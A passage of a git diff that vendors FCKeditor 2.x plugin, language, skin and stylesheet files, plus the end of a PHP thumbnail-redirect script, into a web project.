+//Check for NEW thumbnails
+if(is_file($thumbnail))
+{
+       //send the new thumbnail
+       header('Location: '.$manager->getThumbURL($image));
+       exit();
+}
+else
+{
+       //show the default image, otherwise we quit!
+       $default = $manager->getDefaultThumb();
+       if($default)
+               header('Location: '.$default);
+}
+?>
diff --git a/fckeditor/editor/plugins/autogrow/fckplugin.js b/fckeditor/editor/plugins/autogrow/fckplugin.js
new file mode 100755 (executable)
index 0000000..42c86e4
--- /dev/null
@@ -0,0 +1,96 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     Plugin: automatically resizes the editor until a configurable maximun 
+ *     height (FCKConfig.AutoGrowMax), based on its contents.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var FCKAutoGrow_Min = window.frameElement.offsetHeight ;
+
+function FCKAutoGrow_Check()
+{
+       var oInnerDoc = FCK.EditorDocument ;
+
+       var iFrameHeight, iInnerHeight ;
+       
+       if ( FCKBrowserInfo.IsIE )
+       {
+               iFrameHeight = FCK.EditorWindow.frameElement.offsetHeight ;
+               iInnerHeight = oInnerDoc.body.scrollHeight ;
+       }
+       else
+       {
+               iFrameHeight = FCK.EditorWindow.innerHeight ;
+               iInnerHeight = oInnerDoc.body.offsetHeight ;
+       }
+
+       var iDiff = iInnerHeight - iFrameHeight ;
+
+       if ( iDiff != 0 )
+       {
+               var iMainFrameSize = window.frameElement.offsetHeight ;
+               
+               if ( iDiff > 0 && iMainFrameSize < FCKConfig.AutoGrowMax )
+               {
+                       iMainFrameSize += iDiff ;
+                       if ( iMainFrameSize > FCKConfig.AutoGrowMax )
+                               iMainFrameSize = FCKConfig.AutoGrowMax ;
+               }
+               else if ( iDiff < 0 && iMainFrameSize > FCKAutoGrow_Min )
+               {
+                       iMainFrameSize += iDiff ;
+                       if ( iMainFrameSize < FCKAutoGrow_Min )
+                               iMainFrameSize = FCKAutoGrow_Min ;
+               }
+               else
+                       return ;
+                       
+               window.frameElement.height = iMainFrameSize ;
+       }
+}
+
+FCK.AttachToOnSelectionChange( FCKAutoGrow_Check ) ;
+
+function FCKAutoGrow_SetListeners()
+{
+       if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+               return ;
+
+       FCK.EditorWindow.attachEvent( 'onscroll', FCKAutoGrow_Check ) ;
+       FCK.EditorDocument.attachEvent( 'onkeyup', FCKAutoGrow_Check ) ;
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+//     FCKAutoGrow_SetListeners() ;
+       FCK.Events.AttachEvent( 'OnAfterSetHTML', FCKAutoGrow_SetListeners ) ;
+}
+
+function FCKAutoGrow_CheckEditorStatus( sender, status )
+{
+       if ( status == FCK_STATUS_COMPLETE )
+               FCKAutoGrow_Check() ;
+}
+
+FCK.Events.AttachEvent( 'OnStatusChange', FCKAutoGrow_CheckEditorStatus ) ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/fck_placeholder.html b/fckeditor/editor/plugins/placeholder/fck_placeholder.html
new file mode 100755 (executable)
index 0000000..ee536dd
--- /dev/null
@@ -0,0 +1,104 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_placeholder.html
+ *     Placeholder Plugin.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Placeholder Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script language="javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang = oEditor.FCKLang ;
+var FCKPlaceholders = oEditor.FCKPlaceholders ;
+
+window.onload = function ()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+       
+       LoadSelected() ;
+       
+       // Show the "Ok" button.
+       window.parent.SetOkButton( true ) ;     
+}
+
+var eSelected = oEditor.FCKSelection.GetSelectedElement() ;
+
+function LoadSelected()
+{
+       if ( !eSelected )
+               return ;
+
+       if ( eSelected.tagName == 'SPAN' && eSelected._fckplaceholder )
+               document.getElementById('txtName').value = eSelected._fckplaceholder ;
+       else
+               eSelected == null ;
+}
+
+function Ok()
+{
+       var sValue = document.getElementById('txtName').value ;
+       
+       if ( eSelected && eSelected._fckplaceholder == sValue )
+               return true ;
+
+       if ( sValue.length == 0 )
+       {
+               alert( FCKLang.PlaceholderErrNoName ) ;
+               return false ;
+       }
+       
+       if ( FCKPlaceholders.Exist( sValue ) )
+       {
+               alert( FCKLang.PlaceholderErrNameInUse ) ;
+               return false ;
+       }
+
+       FCKPlaceholders.Add( sValue ) ;
+       return true ;
+}
+
+               </script>
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td>
+                                       <table cellSpacing="0" cellPadding="0" align="center" border="0">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="PlaceholderDlgName">Placeholder Name</span><br>
+                                                               <input id="txtName" type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/fckplugin.js b/fckeditor/editor/plugins/placeholder/fckplugin.js
new file mode 100755 (executable)
index 0000000..b271858
--- /dev/null
@@ -0,0 +1,191 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     Plugin to insert "Placeholders" in the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// Register the related command.
+FCKCommands.RegisterCommand( 'Placeholder', new FCKDialogCommand( 'Placeholder', FCKLang.PlaceholderDlgTitle, FCKPlugins.Items['placeholder'].Path + 'fck_placeholder.html', 340, 170 ) ) ;
+
+// Create the "Plaholder" toolbar button.
+var oPlaceholderItem = new FCKToolbarButton( 'Placeholder', FCKLang.PlaceholderBtn ) ;
+oPlaceholderItem.IconPath = FCKPlugins.Items['placeholder'].Path + 'placeholder.gif' ;
+
+FCKToolbarItems.RegisterItem( 'Placeholder', oPlaceholderItem ) ;
+
+
+// The object used for all Placeholder operations.
+var FCKPlaceholders = new Object() ;
+
+// Add a new placeholder at the actual selection.
+FCKPlaceholders.Add = function( name )
+{
+       var oSpan = FCK.CreateElement( 'SPAN' ) ;
+       this.SetupSpan( oSpan, name ) ;
+}
+
+FCKPlaceholders.SetupSpan = function( span, name )
+{
+       span.innerHTML = '[[ ' + name + ' ]]' ;
+
+       span.style.backgroundColor = '#ffff00' ;
+       span.style.color = '#000000' ;
+
+       if ( FCKBrowserInfo.IsGecko )
+               span.style.cursor = 'default' ;
+
+       span._fckplaceholder = name ;
+       span.contentEditable = false ;
+
+       // To avoid it to be resized.
+       span.onresizestart = function()
+       {
+               FCK.EditorWindow.event.returnValue = false ;
+               return false ;
+       }
+}
+
+// On Gecko we must do this trick so the user select all the SPAN when clicking on it.
+FCKPlaceholders._SetupClickListener = function()
+{
+       FCKPlaceholders._ClickListener = function( e )
+       {
+               if ( e.target.tagName == 'SPAN' && e.target._fckplaceholder )
+                       FCKSelection.SelectNode( e.target ) ;
+       }
+
+       FCK.EditorDocument.addEventListener( 'click', FCKPlaceholders._ClickListener, true ) ;
+}
+
+// Open the Placeholder dialog on double click.
+FCKPlaceholders.OnDoubleClick = function( span )
+{
+       if ( span.tagName == 'SPAN' && span._fckplaceholder )
+               FCKCommands.GetCommand( 'Placeholder' ).Execute() ;
+}
+
+FCK.RegisterDoubleClickHandler( FCKPlaceholders.OnDoubleClick, 'SPAN' ) ;
+
+// Check if a Placholder name is already in use.
+FCKPlaceholders.Exist = function( name )
+{
+       var aSpans = FCK.EditorDocument.getElementsByTagName( 'SPAN' ) ;
+
+       for ( var i = 0 ; i < aSpans.length ; i++ )
+       {
+               if ( aSpans[i]._fckplaceholder == name )
+                       return true ;
+       }
+
+       return false ;
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+       FCKPlaceholders.Redraw = function()
+       {
+               if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+                       return ;
+       
+               var aPlaholders = FCK.EditorDocument.body.innerText.match( /\[\[[^\[\]]+\]\]/g ) ;
+               if ( !aPlaholders )
+                       return ;
+
+               var oRange = FCK.EditorDocument.body.createTextRange() ;
+
+               for ( var i = 0 ; i < aPlaholders.length ; i++ )
+               {
+                       if ( oRange.findText( aPlaholders[i] ) )
+                       {
+                               var sName = aPlaholders[i].match( /\[\[\s*([^\]]*?)\s*\]\]/ )[1] ;
+                               oRange.pasteHTML( '<span style="color: #000000; background-color: #ffff00" contenteditable="false" _fckplaceholder="' + sName + '">' + aPlaholders[i] + '</span>' ) ;
+                       }
+               }
+       }
+}
+else
+{
+       FCKPlaceholders.Redraw = function()
+       {
+               if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+                       return ;
+       
+               var oInteractor = FCK.EditorDocument.createTreeWalker( FCK.EditorDocument.body, NodeFilter.SHOW_TEXT, FCKPlaceholders._AcceptNode, true ) ;
+
+               var     aNodes = new Array() ;
+
+               while ( ( oNode = oInteractor.nextNode() ) )
+               {
+                       aNodes[ aNodes.length ] = oNode ;
+               }
+
+               for ( var n = 0 ; n < aNodes.length ; n++ )
+               {
+                       var aPieces = aNodes[n].nodeValue.split( /(\[\[[^\[\]]+\]\])/g ) ;
+
+                       for ( var i = 0 ; i < aPieces.length ; i++ )
+                       {
+                               if ( aPieces[i].length > 0 )
+                               {
+                                       if ( aPieces[i].indexOf( '[[' ) == 0 )
+                                       {
+                                               var sName = aPieces[i].match( /\[\[\s*([^\]]*?)\s*\]\]/ )[1] ;
+
+                                               var oSpan = FCK.EditorDocument.createElement( 'span' ) ;
+                                               FCKPlaceholders.SetupSpan( oSpan, sName ) ;
+
+                                               aNodes[n].parentNode.insertBefore( oSpan, aNodes[n] ) ;
+                                       }
+                                       else
+                                               aNodes[n].parentNode.insertBefore( FCK.EditorDocument.createTextNode( aPieces[i] ) , aNodes[n] ) ;
+                               }
+                       }
+
+                       aNodes[n].parentNode.removeChild( aNodes[n] ) ;
+               }
+               
+               FCKPlaceholders._SetupClickListener() ;
+       }
+
+       FCKPlaceholders._AcceptNode = function( node )
+       {
+               if ( /\[\[[^\[\]]+\]\]/.test( node.nodeValue ) )
+                       return NodeFilter.FILTER_ACCEPT ;
+               else
+                       return NodeFilter.FILTER_SKIP ;
+       }
+}
+
+FCK.Events.AttachEvent( 'OnAfterSetHTML', FCKPlaceholders.Redraw ) ;
+
+// We must process the SPAN tags to replace then with the real resulting value of the placeholder.
+FCKXHtml.TagProcessors['span'] = function( node, htmlNode )
+{
+       if ( htmlNode._fckplaceholder )
+               node = FCKXHtml.XML.createTextNode( '[[' + htmlNode._fckplaceholder + ']]' ) ;
+       else
+               FCKXHtml._AppendChildNodes( node, htmlNode, false ) ;
+
+       return node ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/de.js b/fckeditor/editor/plugins/placeholder/lang/de.js
new file mode 100755 (executable)
index 0000000..fab8873
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: de.js
+ *     Placholder German language file.
+ * 
+ * File Authors:
+ *             José Fontanil
+ */
+FCKLang.PlaceholderBtn                 = 'Einfügen/editieren Platzhalter' ;
+FCKLang.PlaceholderDlgTitle            = 'Platzhalter Eigenschaften' ;
+FCKLang.PlaceholderDlgName             = 'Platzhalter Name' ;
+FCKLang.PlaceholderErrNoName   = 'Bitte den Namen des Platzhalters schreiben' ;
+FCKLang.PlaceholderErrNameInUse        = 'Der angegebene Namen ist schon in Gebrauch' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/en.js b/fckeditor/editor/plugins/placeholder/lang/en.js
new file mode 100755 (executable)
index 0000000..0999cc6
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: en.js
+ *     Placholder English language file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+FCKLang.PlaceholderBtn                 = 'Insert/Edit Placeholder' ;
+FCKLang.PlaceholderDlgTitle            = 'Placeholder Properties' ;
+FCKLang.PlaceholderDlgName             = 'Placeholder Name' ;
+FCKLang.PlaceholderErrNoName   = 'Please type the placeholder name' ;
+FCKLang.PlaceholderErrNameInUse        = 'The specified name is already in use' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/fr.js b/fckeditor/editor/plugins/placeholder/lang/fr.js
new file mode 100755 (executable)
index 0000000..2617179
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fr.js
+ *     Placholder Italian language file.
+ * 
+ * File Authors:
+ *             Hubert Garrido (liane@users.sourceforge.net)
+ */
+FCKLang.PlaceholderBtn                 = 'Insérer/Modifier Substitut' ;
+FCKLang.PlaceholderDlgTitle            = 'Propriétés de Substitut' ;
+FCKLang.PlaceholderDlgName             = 'Nom de Substitut' ;
+FCKLang.PlaceholderErrNoName   = 'Veuillez saisir le nom de Substitut' ;
+FCKLang.PlaceholderErrNameInUse        = 'Ce nom est déjà utilisé' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/it.js b/fckeditor/editor/plugins/placeholder/lang/it.js
new file mode 100755 (executable)
index 0000000..17bac1c
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: it.js
+ *     Placholder Italian language file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+FCKLang.PlaceholderBtn                 = 'Aggiungi/Modifica Placeholder' ;
+FCKLang.PlaceholderDlgTitle            = 'Proprietà del Placeholder' ;
+FCKLang.PlaceholderDlgName             = 'Nome del Placeholder' ;
+FCKLang.PlaceholderErrNoName   = 'Digitare il nome del placeholder' ;
+FCKLang.PlaceholderErrNameInUse        = 'Il nome inserito è già in uso' ;
diff --git a/fckeditor/editor/plugins/placeholder/lang/pl.js b/fckeditor/editor/plugins/placeholder/lang/pl.js
new file mode 100755 (executable)
index 0000000..d8e9b29
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: pl.js
+ *     Placholder Polish language file.
+ * 
+ * File Authors:
+ *             Marcin Pietrzak (fck@iworks.pl)
+ */
+FCKLang.PlaceholderBtn                 = 'Wstaw/Edytuj nagłówek' ;
+FCKLang.PlaceholderDlgTitle            = 'Właśności nagłówka' ;
+FCKLang.PlaceholderDlgName             = 'Nazwa nagłówka' ;
+FCKLang.PlaceholderErrNoName   = 'Proszę wprowadzić nazwę nagłówka' ;
+FCKLang.PlaceholderErrNameInUse        = 'Podana nazwa jest już w użyciu' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/placeholder.gif b/fckeditor/editor/plugins/placeholder/placeholder.gif
new file mode 100755 (executable)
index 0000000..c07078c
Binary files /dev/null and b/fckeditor/editor/plugins/placeholder/placeholder.gif differ
diff --git a/fckeditor/editor/plugins/simplecommands/fckplugin.js b/fckeditor/editor/plugins/simplecommands/fckplugin.js
new file mode 100755 (executable)
index 0000000..b8f02b4
--- /dev/null
@@ -0,0 +1,33 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     This plugin register Toolbar items for the combos modifying the style to 
+ *     not show the box.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+FCKToolbarItems.RegisterItem( 'SourceSimple'   , new FCKToolbarButton( 'Source', FCKLang.Source, null, FCK_TOOLBARITEM_ONLYICON, true, true, 1 ) ) ;
+FCKToolbarItems.RegisterItem( 'StyleSimple'            , new FCKToolbarStyleCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontNameSimple' , new FCKToolbarFontsCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontSizeSimple' , new FCKToolbarFontSizeCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontFormatSimple', new FCKToolbarFontFormatCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
diff --git a/fckeditor/editor/plugins/tablecommands/fckplugin.js b/fckeditor/editor/plugins/tablecommands/fckplugin.js
new file mode 100755 (executable)
index 0000000..6bb3703
--- /dev/null
@@ -0,0 +1,36 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     This plugin register the required Toolbar items to be able to insert the
+ *     toolbar commands in the toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+FCKToolbarItems.RegisterItem( 'TableInsertRow'         , new FCKToolbarButton( 'TableInsertRow'        , FCKLang.InsertRow, null, null, null, null, 62 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteRows'                , new FCKToolbarButton( 'TableDeleteRows'       , FCKLang.DeleteRows, null, null, null, null, 63 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableInsertColumn'      , new FCKToolbarButton( 'TableInsertColumn'     , FCKLang.InsertColumn, null, null, null, null, 64 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteColumns'     , new FCKToolbarButton( 'TableDeleteColumns', FCKLang.DeleteColumns, null, null, null, null, 65 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableInsertCell'                , new FCKToolbarButton( 'TableInsertCell'       , FCKLang.InsertCell, null, null, null, null, 58 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteCells'       , new FCKToolbarButton( 'TableDeleteCells'      , FCKLang.DeleteCells, null, null, null, null, 59 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableMergeCells'                , new FCKToolbarButton( 'TableMergeCells'       , FCKLang.MergeCells, null, null, null, null, 60 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableSplitCell'         , new FCKToolbarButton( 'TableSplitCell'        , FCKLang.SplitCell, null, null, null, null, 61 ) ) ;
\ No newline at end of file
diff --git a/fckeditor/editor/skins/_fckviewstrips.html b/fckeditor/editor/skins/_fckviewstrips.html
new file mode 100755 (executable)
index 0000000..5e189e6
--- /dev/null
@@ -0,0 +1,126 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: _fckviewstrips.html
+ *     Useful page that enumerates all icons in the skins strips.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - View Icons Strips</title>
+       <style type="text/css">
+               .TB_Button_Image
+               {
+                       overflow: hidden;
+                       width: 16px;
+                       height: 16px;
+                       margin: 3px;
+                       background-repeat: no-repeat;
+               }
+
+               .TB_Button_Image img
+               {
+                       position: relative;
+               }
+       </style>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       var eImg1 = document.createElement( 'img' ) ;
+       eImg1.onload = Img_OnLoad ;
+       eImg1.src = 'default/fck_strip.gif' ;
+
+       var eImg2 = document.createElement( 'img' ) ;
+       eImg2.onload = Img_OnLoad ;
+       eImg2.src = 'office2003/fck_strip.gif' ;
+
+       var eImg3 = document.createElement( 'img' ) ;
+       eImg3.onload = Img_OnLoad ;
+       eImg3.src = 'silver/fck_strip.gif' ;
+}
+
+var iTotalStrips = 3 ;
+var iMaxHeight = 0 ;
+
+function Img_OnLoad()
+{
+       if ( iMaxHeight < this.height )
+               iMaxHeight = this.height ;
+       
+       iTotalStrips-- ;
+       
+       if ( iTotalStrips == 0 )
+               LoadIcons( iMaxHeight / 16 ) ;
+}
+
+function LoadIcons( total )
+{
+       var xIconsTable = document.getElementById( 'xIconsTable' ) ;
+
+       for ( var i = 0 ; i < total ; i++ )
+       {
+               var eRow = xIconsTable.insertRow(-1) ;
+               
+               var eCell = eRow.insertCell(-1) ;
+               eCell.innerHTML = i + 1 ;
+               
+               eCell = eRow.insertCell(-1) ;
+               eCell.align = 'center' ;
+               eCell.style.border = '#dcdcdc 1px solid' ;
+               eCell.innerHTML = '<div class="TB_Button_Image"><img src="default/fck_strip.gif" style="top:-' + ( i * 16 ) + 'px;"><\/div>' ;
+
+               eCell = eRow.insertCell(-1) ;
+               eCell.align = 'center' ;
+               eCell.style.border = '#dcdcdc 1px solid' ;
+               eCell.innerHTML = '<div class="TB_Button_Image"><img src="office2003/fck_strip.gif" style="top:-' + ( i * 16 ) + 'px;"><\/div>' ;
+
+               eCell = eRow.insertCell(-1) ;
+               eCell.align = 'center' ;
+               eCell.style.border = '#dcdcdc 1px solid' ;
+               eCell.innerHTML = '<div class="TB_Button_Image"><img src="silver/fck_strip.gif" style="top:-' + ( i * 16 ) + 'px;"><\/div>' ;
+       }
+}
+
+       </script>
+</head>
+<body>
+       <table id="xIconsTable">
+               <tr>
+                       <td rowspan="2">
+                               Index</td>
+                       <td align="center" colspan="3">
+                               Skins</td>
+               </tr>
+               <tr>
+                       <td width="80" align="center">
+                               default</td>
+                       <td width="80" align="center">
+                               office2003</td>
+                       <td width="80" align="center">
+                               silver</td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/skins/default/fck_dialog.css b/fckeditor/editor/skins/default/fck_dialog.css
new file mode 100755 (executable)
index 0000000..4ea4711
--- /dev/null
@@ -0,0 +1,139 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog.css
+ *     Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       margin: 0px;
+       padding: 10px;
+}
+
+body, td, input, select, textarea
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+       background-color: #f1f1e3;
+}
+
+.PopupBody
+{
+       margin: 0px;
+       padding: 0px;
+}
+
+.PopupTitle
+{
+       font-weight: bold;
+       font-size: 14pt;
+       color: #737357;
